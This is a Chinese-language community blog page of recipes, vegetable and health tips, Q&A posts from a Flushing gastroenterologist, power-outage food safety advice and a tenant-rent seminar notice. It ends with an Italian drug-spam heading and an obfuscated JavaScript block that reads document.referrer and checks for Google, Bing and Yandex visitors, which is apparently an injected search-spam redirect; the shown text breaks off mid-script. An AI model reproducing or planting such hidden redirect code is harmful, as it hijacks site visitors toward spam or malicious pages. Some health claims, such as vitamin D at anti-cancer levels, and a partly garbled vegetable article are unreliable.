4.蒸扣肉:将一片杏鲍菇一片豆腐摞起来,码放到碗中,倒上炒好的梅菜干酱汁,蒸30分钟。然后用一个盘子盖住碗,倒扣过来即可。

2021-03-06 / by / in ,
春季吃蔬菜有禁忌 避免带来身体不适

春季/应季蔬菜/禁忌隔夜菜/豆芽/鸡毛菜/韭菜/菠菜/蔬菜焯水/大火快炒

蔬菜是人类日常生活中不可缺少的食物之一,蔬菜品种众多,形态各异,口感和营养都不相同。

蔬菜中含有各种无机盐、矿物质、维生素等,这些营养成分都是人体必需的物质。所以说,多吃蔬菜能够为身体补充养分。春季应季蔬菜多,建议要多吃蔬菜,但是蔬菜可不是乱吃的。需要了解一些吃蔬菜的禁忌,避免给身体带来不适。


应季蔬菜

春季吃蔬菜有什么禁忌?

1、不要吃隔夜菜

有很多家庭煮菜的时候,喜欢煮多一些,怕煮少了不够吃。如果吃不完的话,可以第二天接着吃。这样的饮食习惯并不好,因为隔夜菜中的营养物质会流失,而且放置了一晚上之后,菜肴很容易滋生细菌而被污染。

经常吃隔夜菜很容易损伤肠胃,诱发各种肠胃问题,甚至还有可能出现食物中毒。

2、豆芽吃整棵

很多将豆芽买来之后,习惯性将豆瓣丢掉,只吃上面部分的芽。可是这样子其实很浪费,因为豆芽中的维生素C含量,大部分存在豆瓣里面。要比上面嫩芽部分的维生素C含量,高出两三倍。

春日食春芽,比如说豆芽、香椿芽、蒜苗等,都是春季应季的蔬菜,食用它们有非常多的好处。其中,在春季的时候,需要多吃豆芽。因为豆芽具有发散功能,有助人体生发阳气,还有利湿效果。


豆芽

为了获得豆芽中更多的热量,建议清洗豆芽的时候,千万不能把豆瓣扔掉只吃嫩芽。

3、炒蔬菜要大火快炒

蔬菜中含有大量的维生素B1、维生素C等,这些营养物质怕热怕煮,如果炒菜的时候加盖闷煮,会损失一半以上的维生素C。如果将蔬菜焯水沥干后,再放入锅中炒,蔬菜中的维生素C,则会流失百分之八十以上。

所以说,平日里炒蔬菜的时候,建议大火快炒。减少烹饪的时间,能够避免蔬菜中的维生素大量丢失。同时为了更好地保存维生素,建议快炒过程中,加入少许的醋。

春季应季蔬菜吃什么好?

1、鸡毛菜

这是小白菜幼苗的俗称,春夏秋冬都有售卖,其中春夏两个季节的鸡毛菜,口感最佳。现在是春季,鸡毛菜可是应季蔬菜,应该多吃一些。

而且鸡毛菜中存有大量的维生素,硒元素、钾元素等,春季吃它能够为人体补充丰富的营养物质。再者鸡毛菜有助消退荨麻疹,容易过敏的人群可以多吃些。


韭菜

2、春韭

春季的韭菜味道独特,此时吃它口感非常不错。建议日常可以买些春韭炒食,或着说煮汤,做成饺子馅包饺子吃等等,都是味道都不错。

春季多吃韭菜好处很多,比如说有助滋养阳气。而且其热量非常低,富含微量元素、维生素、膳食纤维等,能够为身体补充养分,促进功能发挥。

3、菠菜

这是春季常见的蔬菜,用大火快炒菠菜,或者说用开水烫熟了凉拌食用,味道相当美味。而且祖国医学认为,菠菜具有润燥的作用,春季天气干燥,吃它正合适。


菠菜

另外,菠菜中含有维生素C和K,胡萝卜素、矿物质等等,吃它能够起到养血作用,对身体健康有益处。对此,建议日常可以多吃些菠菜,比如说早起喝完菠菜粥,帮助养胃养血。

2021-03-06 / by / in
肠镜检查后当天可以上班吗?法拉盛肠胃科专家荆彤医生为您解答

除从事特殊行业的外,大部分人在做完肠镜检查的当天就可以回去上班。

现代的医学条件下麻醉实际上是很安全的。之所以安全是因为现在的新的麻醉药都很短效,医生停止做肠镜以后一般两到三分钟病人就清醒了。实际上病人不需要很长时间的观察。很多病人清醒之后就可以马上进食了。当然了这要医生做决定看病人是不是可以马上吃东西。大多数情况下病人都可以马上恢复正常饮食。我们诊所有很多病人,百分之八十的病人如果当天需要回去上班的都回到了自己的工作岗位。

当然有一些特殊的职业,比如说那个专业计程车司机,开汽车的司机至少四个小时不能开车。其他的有些行业比如说他要用一些电的设备啊,比较笨重的电子设备,像一些建筑工人需要用电锯啊,操作一些重大的设备,这个我们也建议他不要马上回去上班,需要先稍微暂缓一下。

一般情况下,很多行业的都是回去正常工作了,都没有什么问题。在饮食上也没有什么改变。

2021-03-05 / by / in , , ,
做肠镜检查需要打麻醉吗?打麻醉安全吗?纽约肠胃科专家荆彤医生为您解答

很多中国人的想法就是害怕打麻醉,其实这是一种错误观念。现在的麻醉都比较短效,越短效越安全。做肠镜整个过程也就是10分钟到15分钟,这个过程很快,所以麻醉时间是很短的。

中国人都怕麻醉,担心麻药是不是会伤脑子、伤神经,实际上这种担心是没有必要的,我们这也从来没发生过病人因为麻醉出现其他的问题。而且麻醉状态下病人比较放松,不会因为难受动来动去的,这样医生检查起来比较轻松,大大小小的息肉也容易观察的到。

打麻醉也没有年龄限制。在我们这里做过肠镜检查的最大年龄是99岁,也都是很安全的,小的十几岁的病人都可以做。到目前为止还没有出现任何重大的故障。

2021-03-05 / by / in , ,
肠镜检查前病人需要做哪些准备?法拉盛肠胃科专家荆彤医生为您解答

肠镜检查前病人需要做哪些准备?

法拉盛肠胃科专家荆彤医生为您解答

肠镜检查之前,要让肠胃科医生先对病人进行一些评估:比如看病人有什么基础病,心脏、肺有没有问题。因为一般在美国做肠镜都要经过麻醉,所以医生要事先看一下病人能不能承受住做这个检查。当然要求也不是很高,一般情况下病人都可以承受。

准备肠镜呢就是要求病人要清肠。在肠镜检查的前一天,病人可以吃比较清淡的早餐,中餐晚餐就不能吃了。下午晚上的时候喝那个清肠药。我们诊所都有这种安排,会跟病人一条条讲清楚,一般都没有问题的。虽然头一天不能吃中餐晚餐,但是病人全天的都可以喝水,苹果汁汽水这些透明的东西都可以喝。

 

2021-03-05 / by / in , , ,
什么是肠镜检查?纽约肠胃科专家荆彤医生为您解答

什么是肠镜检查?

肠镜检查主要是分为两大类,一个是叫诊断性肠镜检查,还有一种是肠癌筛检性肠镜检查。

诊断性肠镜检查跟年龄没有什么太大关系,病人只要有症状,医生觉得有适应症,就可以随时安排作肠镜。适应症包括大便里出血、病人腹痛或者大便习惯的改变。比如有患者原来大便很正常,现在突然便秘或者拉肚子。肠胃科医生觉得需要做肠镜的检查,这就跟年龄没有关系,可以随时进行检查。做肠镜的时候如果发现病人有什么肠炎啊、息肉需要切除的,这些都可以当时进行诊断、治疗。如果病人有肠道出血也可以及时的止血。这就是属于诊断治疗性的肠镜。

另外一种是筛检性的肠镜。一般来说,即使病人没有家族史也没有任何症状,到了50岁应该做第一次肠镜。但现在根据医学的研究,很有可能很快就会将这个年龄提前到45岁。这种筛检性的肠镜目的是看看病人肠子里有没有息肉啊,有没有肿瘤啊,这个就是跟年龄是有关系的。很多病人会有疑问,说我这么年轻是不是不需要做肠镜?这个实际上是病人把这两种概念混淆了,有的时候做肠镜检查跟年龄是没有关系的。

2021-03-05 / by / in , , ,
虾干:美味健康的小零食 (视频)

虾干/虾

带皮虾又脆又酥太好吃了,那么是怎么做的呢,我们一起来看看视频。

其实虾干是一道非常美味的小零食,而且比甜味零食吃起来更加的健康,并且有饱足感。因此这种零食适合平时放在包里,下班的路上如果饿了可以随时吃。在整个烹饪过程中没有任何的添加剂,所以很健康。

食材:

带皮虾,盐 适量

做法:

1. 将虾线剔除干净后,洗净放入锅中加适量的盐煮至半熟就可以了,最后浸泡10分钟,让虾入味。

2. 将煮好的虾放入烤盘中,烤箱温度设置到90度烤1.5-2个小时。因为每个烤箱的功力都不一样,温度和烤的时间自己把握。烤制的过程中可以随时拿出来看一下是否烤好了。

2021-03-05 / by / in ,
抗击病毒风险 真正补充维他命D

维他命D/抗击病毒/晒太阳/阳光直射/防晒油/紫外线/鲑鱼/牛奶/藻类/补充剂

缺少维他命D,会有疫情风险这不是一句玩笑,据美国医学院研究团队指出,摄取足够的维他命D,会减低感染中共病毒(新冠病毒)的风险。

维他命D 的来源 1 :晒太阳

不过想要以晒太阳的方式获得维他命D 有一个限制,不是光晒太阳就有用,还要晒对了才会有维他命D。


晒太阳

因为太阳光的波长是有很长一段范围的,但只有波长在290 ∼ 315 nm 的太阳光才有能力把皮肤底下的维他命D 前驱物转换成维他命D,但早上和下午的太阳都是斜射的,所以阳光经过大气层的距离会比较长,能有效转换维他命D 这段波长的阳光会被过滤掉很多。

所以如果想靠晒太阳得到维他命D,最好是中午11 ∼ 13点时,阳光直射时穿过大气层的距离短,而且请不要擦防晒油⋯⋯。

《慢跑俱乐部》发布,在台湾,若想采用晒太阳补充维他命D,还必需考虑紫外线的问题。尤其是中南部一年之中有一半以上的时间,紫外线都呈现过量级或危险级,只要没有做好防晒,你的皮肤在大太阳下晒超过15 ∼ 20 分钟就容易晒伤,长期下来反而会提早衰老及增加皮肤癌等问题。

另外,我常跟大家强调,晒15 分钟的太阳,身体的维他命D 大概就是到保骨本、预防骨质疏松的程度而已。根据这几年的研究显示,如果想达到抗癌的浓度,光晒阳光是不够的,因为不管再怎么晒,体内维他命D 的浓度到了一个程度就上不去了,所以多晒无益,还是得靠口服的维他命D 来补充,才能达到抗癌的浓度。


晒太阳

另外,大家会不会认为既然我们身上这么缺乏维他命D,是不是晒越久就可以产生越多的维他命D ?其实,晒越久维他命D 的浓度并不会越高,原因有两个:一、当你晒太阳皮肤产生维他命D 后,需要血液把维他命D 运走到其它器官,如果不停的继续晒,阳光会把这些来不及被血液运走的维他命D 转换成其他产物;二、晒越久你的皮肤会越黑,皮肤越黑阳光也会被阻挡住。

所以,如果要靠晒太阳来补充维他命D,只需要晒10 ∼15 分钟即可,晒30 分钟并不会比晒15 分钟的浓度多更多,重点还是在于选对晒太阳的时间。

维他命D 来源 2 :食物

补充维他命D 的第二个途径是从食物中而来,但人体肠胃道对维他命D 的吸收并不好,加上食物里其实含有维他命D 的种类不多,就算有,量也不高,所以要完全靠食物获得充足的维他命D,其实是有相当的困难。


鲑鱼

一般的食物中,有哪些可以获得维他命D 呢?最常见的就是鱼类,尤其是鲑鱼。但如果要一个人一天到晚吃那么多鲑鱼,可能会觉得恶心想吐吧。除了鱼类,其他像是牛奶、植物、藻类都含有少量的维他命D,可是植物、藻类的维他命D又不太一样。维他命D 有分D2 和D3,在动物里面的大概都是D3,植物里面是D2,这两个的作用还是有差别的,D3 的作用比D2 强。

所以要从食物中摄取维他命D 的话,可以多吃鱼类、藻类、香菇这类食物,但人体肠道对维他命D 的吸收并不佳,所以单纯想靠食物补足维他命D 的话,可能还是有些难度,还是建议可额外吃一些综合维生素或是维他命D 专门的补充剂,更为直接有效果。

除了阳光、食物,最后就是补充剂了。

很多人会问我,补充剂有哪些、要怎么选?


维生素D

现在在市面上可以看到的,有些是锭剂、胶囊,也有些是滴剂。很多人都问我哪个比较好,我的建议是视个人体质而定,你吃锭剂效果好,他吃滴剂效果好,怎么评估要选哪种呢?所以很简单,就看你补充完,血中维他命D 浓度有没有上升就好,只要你吃了之后,血​​中浓度有上升,就代表你的肠胃道对这一个品牌或是类型的吸收效果很好。当然还要看你吃了这一牌的维他命D后,有没有任何不舒服的情形。

所以没有那一品牌最好,选择适合自己的就是最好。

2021-03-05 / by / in
纽约肠胃科医生分享自己做肠胃科医生的选择经历?

纽约胃肠肝胆疾病治疗专家荆彤医生经过20年的专业学习及临床实践,最终成为胃肠肝胆疾病治疗的专家,谈起当初为何选择这个专业,荆医生给出了自己的答案:在内科中,唯有肠胃科医生不但能为患者作出诊断,还能在胃肠镜下为患者实行手术,解除病人的痛苦。比如病人胃出血,在胃镜下可以找到出血点,并通过手术进行止血。在过去胃肠镜技术还没出现的时代,病人如果出现胃出血,通常实行胃切除手术来质量,而现在胃镜下就能止血,不需要进行胃切除了。大大减轻了病人的痛苦,并且保障了病人未来的健康。

纽约荆彤肠胃科医生

电话: (718) 886-9819

地址:136-68 Roosevelt Ave 3rd floor, Flushing, NY 11354

网站:tjgastro.com

2021-03-04 / by / in , , ,
“疫情期失业关门”可否用这个理由不交房租?

疫情期间,房东房客纠纷激增。纽约州政府规定在今年5月1日之前,房东禁止驱逐租客,但禁止驱逐不等于租客可以不交租金。那么如何处理房东与房客之间的纠纷?另外近期针对亚裔的犯罪上升,亚裔如何保护自己?市议会第20选区市议员参选人王能(Neng Wang)3日宣布,他将与律师事务所合作举办系列讲座,讲解关于房东房客纠纷的解决建议,第一场讲座在3月10日。

王能表示,不少租客因疫情关门、失业造成无法按时交租,与此同时房东却因收不到租金造成无力偿还贷款。这些纠纷有什么解决之道?房客收到驱逐令怎么办?房东如何保障自己的权益?房东能否私自换锁?有签约与无签约,有什么区别?3月10日他将邀请“凯森律师事务所”合伙律师刘芳、“智德律师事务所”合伙律师吴凌,在线上为大家讲解。

刘芳律师表示,受疫情冲击,市面上商铺、商业楼宇出现租赁纠纷的比例高达95%,几乎每一座商业楼宇都遇到商家欠租的问题,尤其是去年3月到6月政府实施“暂停令”期间的租赁争执最多,“租客说,是政府强制要求我关门,我也没有使用铺面;但是房东说,我租给你了,你要负责任,你用不用、政府有什么命令,这不关我事。双方僵持不下。”

刘芳说,根据法律,政府禁止房东驱逐租客不等于租客可以不交租金。而且据她查以前的判例,在经济大萧条时,租客交不起租金,案件打到最高法院,判决租客还是要付租金。

吴凌律师说,人们以为商业楼宇的租金是一个月一个月交的,但是签下商业租约,就等于租客欠下了全部租期的租金,按月交租只不过是分期来缴交而已。

那么能否以生意不好来作为减免租金的理由呢?吴凌表示,在法律上没有这样的规定,“因为做生意是有风险的,你租下商业楼,说明你愿意承担这个风险。法律上不会因为你生意不好就可以不用付租金。”

但是两位律师认为,房东房客纠纷最好的解决办法是协商——从房客的角度,看看租金能否减免或者暂缓支付;从房东的角度,钱收不到,看看能否考虑是由于政府要求关门或者商家没有生意的原因,给予租客方便,等等,“就算房屋法庭在5月1日开放,但是案件猛增,加上积压,案件势必拖很久;另外,房屋法庭也可能是分步骤开放,所以协商解决是最佳办法。”

第一场讲座时间:3月10日(周二)晚上7点半;登录此链接参加会议:www.WangForFlushing.com。咨询电话:718-550-5959

2021-03-04 / by / in
一旦突然断电,如何做出迅速的反应?

停电/冰柜/冰箱/断电/温度/变质食物

天有不测风云,一旦突然断电,我们应该用什么办法迅速做出解决?

大家都知道前不久一场猛烈的冬季暴风雪来袭,使得美国德州有四百万家庭断电,饮水和粮食的需求量猛增。为了安全起见,当地居民需要把冰箱里的食物处理掉。人们要如何面对这种紧急的突发情况,如何安全的处理和保存食品?

如有发现变质食物不可吃

曾经有个朋友在搬家的过程中,把食品放在移动式冷藏箱中,没想一箱的海鲜化掉都不能吃了。特别是虾有变色,绝不可以吃,曾经有人在餐馆吃的虾不新鲜,由开始的胃部不适中毒导致肠梗阻,所以在紧急情况下确保食物的安全食用更为重要。

尽量保持冰箱温度

家中的一切电器分分秒秒都离不开电,特别是冰箱冷藏和冷冻的食品,没有电不但没办法长久保存,而且可能会随着断电时间的延长而变质。因此在不知断电时间的长短时,尽量维持冰箱现时的温度十分必要。

尽量维持冰箱温度

1.首先,如果家中有易腐烂的食品可以尽快放入冰箱。有健康专家表示,最好将易腐食品转移到冷藏箱尽快吃掉(Cooler:一个保温的盒子,可以在里面放食物和冰,然后去野餐)。

2.其次,不要轻易开启冰箱,避免冷空气会随着冰箱门的开合流失,箱内温度随之上升。在断电前的温度尽量让它保持。

根据美国疾病控制与预防中心(CDC)的说法,如果保持冷藏室门关闭,冷藏室中的食物可保存四个小时安全食用;如果保持冷冻室的门关闭,在全满的冷冻室内食物可保存48小时(半满的冷冻室中,食物可存24小时)安全食用。

3.CDC建议,将温度计放在冰箱冷藏室和冷冻室中,以确保冷藏室温度在40°F(4.4°C)或以下,冷冻室温度保持在0°F(-17.8°C)或以下。

4.CDC还建议使用冰袋或冰袋凝胶包,以帮助将食物保持在40°F(4.4°C)或更低温度。

美国国家公共卫生研究所表示,如果可以的话,请在冷藏室中存放置冰袋凝胶包,作为短期解决方案,以使冰箱内食品保持低温;或者使用干冰,这是将食品冷藏在冰箱中的另一种选择。


处理掉容易腐烂的食物

处理掉容易腐烂的食物

CDC指南说,四个小时后要处理掉容易腐烂的食物,例如生肉、生鱼、切好的水果、蔬菜、牛奶等。还要确保监视冷藏室中的温度。

当电源恢复正常时,请检查冰箱的温度。如果它仍然低于4.4°C,就会知道里面的东西不会有问题,如果它高于这个温度并且怀疑它已经超过两个小时,那么就要进行清理了。

据The Kitchn网站的信息,在断电期间,硬质奶酪、黄油、干果、面包、冷冻华夫饼和煎饼,生蔬菜、草药和调味品等食品也可以在短期内安全保存。

根据CDC指南,消费者可以重新冷冻或烹饪保存在40°F(4.4°C)或以下的解冻食品。

2021-03-04 / by / in , , ,
蔬菜怎么吃有讲究 这几种蔬菜一定要煮熟吃

蔬菜/煮熟/生吃/四季豆/竹笋/马铃薯/木耳/中毒/白果/生食/红薯/蚕豆/毛豆

蔬菜在生活中是不可食用的主要食物之一,肉可以不吃,但蔬菜一定要有,并且人们对吃蔬菜也是有些讲究的。

蔬菜,怎么吃对人的身体最有益,也有很多说法,有人喜欢吃生的,有人喜欢吃熟的,有人喜欢吃嫩的,有人喜欢吃老的,不管怎么吃,但最终有一点,就是一定要对身体有瑕才是最重要的。
某些蔬菜一定要煮熟吃

人们的菜篮子里经常会看到豆类菜,如四季豆,蚕豆等;替代淀粉质的根茎类,如莲藕,地瓜,马铃薯等;富含氰化物类物质的菜,如木薯,竹笋等;十字花科蔬菜,如青花菜,高丽菜等以及,还有木耳,白果等。注意到的这些菜是一定要煮熟才能食用的。

豆类菜

例如,红腰豆含有的植物血球凝集素会刺激消化道粘膜,并破坏消化道细胞,降低其吸收营养成分的功能,如果毒素进入血液,即将破坏红血球及其凝血作用,导致过敏反应。

蚕豆种子中含有巢菜碱苷,人们食用了这种物质后,可引起急性溶血性贫血(蚕豆黄病)。春夏两季吃青蚕豆时,如果为了防止出现蚕豆中毒,最好不要吃新鲜的嫩蚕豆,而且一定要煮熟后再食用。


春夏两季吃青蚕豆时,如果烹制不当,常导致人发生中毒现象。

毛豆没煮熟熟也会含有血球凝集素,抗氧化蛋白酶之类的物质,血球凝集素被人体吸收后,可以让血液中的红血球凝聚,造成身体不适症状。活性,相互会导致消化不良,同时会造成较大的肿大,该类物质进入到人体体内健康造成的影响,甚至会引起中毒反应,导致恶心,呕吐,腹痛,腹泻,头晕,头痛,四肢麻木等症状。但是只要将毛豆煮熟再吃,这些毒性物质就会失去活性,因此不会对人体健康造成影响。

四季豆中含有的额皂素,是一种对人体健康极端不利的有毒物质,食用之后对人体肠胃会产生不利影响,不能被人体的解毒功能完全分解,所以有人食用后很容易出现呕吐,头晕,腹泻等情况,四季豆一定要完全烹制成熟后食用,这样营养价值可发挥,也不会使人体健康造成不利影响。

如果豆芽没煮熟,食用是有毒的。食用后可能会引起恶心,呕吐,腹泻,头晕等不良反应。

明显淀粉质的根茎类

红薯不宜生吃,因为生红薯中淀粉的细胞膜被高温破坏,很难在人体中消化;煮红薯时,还应适当延长蒸煮的时间,以有利于红薯中所含有的“气化酶”被破坏掉,吃后才不会出现腹胀,烧心,打嗝,反胃,排气等不适的感觉。

马铃薯不熟最好不吃,首先是口感不好,有一种土腥味和生涩味;其次豆淀粉含量高,生的淀粉粒人体不能消化,再者含有龙葵素有毒蛋白质,吃生土豆,可能使人体血液中红血球凝集起来,会引起恶心,呕吐,腹泻。

莲藕长期生长在水中,污泥中,而水和污泥中有许多寄生虫,细菌等,所以莲藕最好还是煮熟吃。好少食或改食熟藕。


竹竹笋不能生吃的,因为竹笋当中有大量的草酸会刺激胃肠道

氰苷类物质的菜

木薯不能生吃。因为木薯为含氰苷类植物,其中氰化物被酶或酸解后能释放出氢氰酸。氢氰酸为原浆毒,当被吸收后,氰离子即与人体中的细胞色素氧化酶中的铁结合,致使呼吸酶失去活性,氧不能被细胞组织利用,导致组织缺氧而处于窒息状态。

竹笋不能生吃的,因为笋当中有大量的草酸,生吃变成大量的草酸进入注入道,刺激注入道,破坏退化道功能的,如果把笋放在锅里焯一下。大量草酸会去除,而且纤维素会变少,既去掉多余的物质,甚至增强口感,但是硝酸酯酶功能缺陷的人还是不要吃笋。

十字花科蔬菜

青花菜,高丽菜,大头菜,芥菜,小白菜,白萝卜等属于十字花科,含有甲状腺肿素,会阻碍身体吸收碘。故煮熟吃为最佳。生的高丽菜丝,或者火锅沾酱里的白萝卜泥,少量食用后不会有影响。

木耳

木耳一般都是干的,新鲜采摘下来的木耳,没有经过高温处理,也含有一定的细菌,生吃了对身体没有好处,有可能造成食物中毒。有文献指出,木耳含腺苷,生食超过70公克可能导致血小板功能异常。

白果(银杏)

银杏中含有氰化物这种物质,大量生食后,它会导致摄取者出现呕吐,嗜睡,恶心,口唇发麻的中毒症状,严重者将会神志不清,重度昏迷,有生命危险。一定要煮熟才吃,数量也不宜多,应控制在7-10粒以内。

2021-03-04 / by / in
凤梨好处多!专家:减少心血管疾病风险

凤梨/凤梨酵素/维生素/植化素/抗氧化/免疫力/稳定情绪/消除疲劳/改善发炎

凤梨又称菠萝、黄梨,热带水果,原产南美洲,因凤梨多汁酸甜受到广泛人的喜爱。

有位营养治疗门诊客户某天咨询时,突然拿出一张凤梨酵素的药品仿单问:“这是一个邻居说治疗鼻窦炎和卡痰在吃的药,但凤梨里面不是就有天然的凤梨酵素了吗?多吃凤梨应该是不是也有一样的效果呢?”


凤梨

凤梨酵素最多的地方,竟然是这里!

《三立新闻》随着天气渐渐变暖,金黄香甜的凤梨在市场露脸的机会也多了起来,从现在起到七八月都是它的盛产期,非常推荐大家把握当季多吃。凤梨不但含有可抗氧化、提高免疫力的维生素C,其维生素B群也能促进人体新陈代谢,有助稳定情绪、消除疲劳。而我们一般听到的凤梨酵素,又被称为菠萝蛋白酶,因它有帮助分解蛋白质的特性,适合餐后食用让蛋白质的吸收和消化更好,帮助排便。但比较不建议空腹时吃凤梨,因为我们的胃也是由蛋白质组成,尤其是原本胃不好的人会更加敏感,这样吃容易对胃黏膜造成伤害。

有研究发现,凤梨酵素因为有分解纤维蛋白的作用,可预防血液过度浓稠,并增加血液局部流量,所以具有镇热和改善发炎、红肿的效果;药品仿单上提到能舒缓化脓性炎症、支气管炎、鼻窦炎、血栓性静脉炎,以及排出呼吸道与鼻腔内的脓性分泌物、使痰容易咳出,也是同样的道理。至于一般人食用新鲜凤梨的份量,是否足以达到药品等级、缓解发炎症状?效果可能非常有限哦!事实上,凤梨酵素广泛存在于凤梨的茎、果、叶和果皮之中,但含量最高的地方是我们不会吃的凤梨茎,因此无论是做研究或是用来制作药品和保健品,皆是取自于凤梨茎部。


凤梨

另外,凤梨含有多酚和类黄酮等植化素,文献指出其果肉和叶片中所含的对香豆酸(p-Coumaric acid)有抗菌、抗氧化、清除自由基的活性。将萃取物应用在肥胖大鼠身上,血浆总胆固醇和三酸甘油酯都明显降低,因此被认为可能有减少心血管疾病风险的潜力。

单吃、入菜,冷热甜咸料理皆适用


凤梨汁

问过很多身边的朋友,发现大家往往因口感较硬较粗糙,而把中间的凤梨心去除不吃,实在是很可惜的事,因为凤梨心营养丰富且纤维含量更高呢!若是单吃不易入口,很建议把加进料理中,例如做成炒饭、凤梨虾球、煮鸡汤,或是和青椒、甜椒、肉片一起快炒,都能让滋味和口感更丰富;将凤梨切块后和奇异果、甜椒做成沙拉,就是一道能增强免疫的多C料理;也可加入烫熟鸡胸肉或虾仁,淋入巴萨米醋和橄榄油调和的油醋酱,清爽又健康;或者和番茄、苹果煮成甜汤,无论凉着吃或当热菜很适合,还能降低调味料的使用量。

由于凤梨酵素的缘故,腌渍肉类时加入新鲜凤梨确实可有效帮助肉质软化,餐中一块搭配食用也有助肉食顺利消化;但胃部比较敏感的人,建议最好饭后再吃,避免不适。

2021-03-03 / by / in , ,
(视频)专业大厨手下的糖醋排骨 另类做法 耳目一新

糖醋排骨/排骨

糖醋排骨的做法有多个版本,今天和大家分享专业大厨的另类糖醋排骨做法,也非常简单易学。

这道糖醋排骨是一道大甜大酸的口味,做法与以往的做法不同,并不飞水,是用了烤箱来剔除排骨的腥膻味道。

材料:

排骨 500克,冰糖 300克,蒜 3瓣,

调料:

料酒 3汤匙,酱油 2汤匙,盐 少许,镇江香醋 100毫升,

做法:

1. 烤排骨:排骨切小块,给每个小块刷上油,然后放入烤箱,烤箱温度为200度即可烤30分钟后取出。

2. 炒糖色:锅中放入少许油,放入冰糖炒至融化,然后放入微量的水继续炒,当冰糖变成金黄色时将火调小,炒至棕红色时加水,糖色炒后后,直接将排骨放到冰糖里面,放入料酒,酱油,盐,和剩余的冰糖,30毫升香醋,(醋分三次放)少许水大火烧开,焖制30分钟,中间再放一次醋,出锅前再次加入一次醋,大火收汁即可。

2021-03-03 / by / in ,
Pillole Di Mebendazole In Vendita

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,54,55,52,122,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,86,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[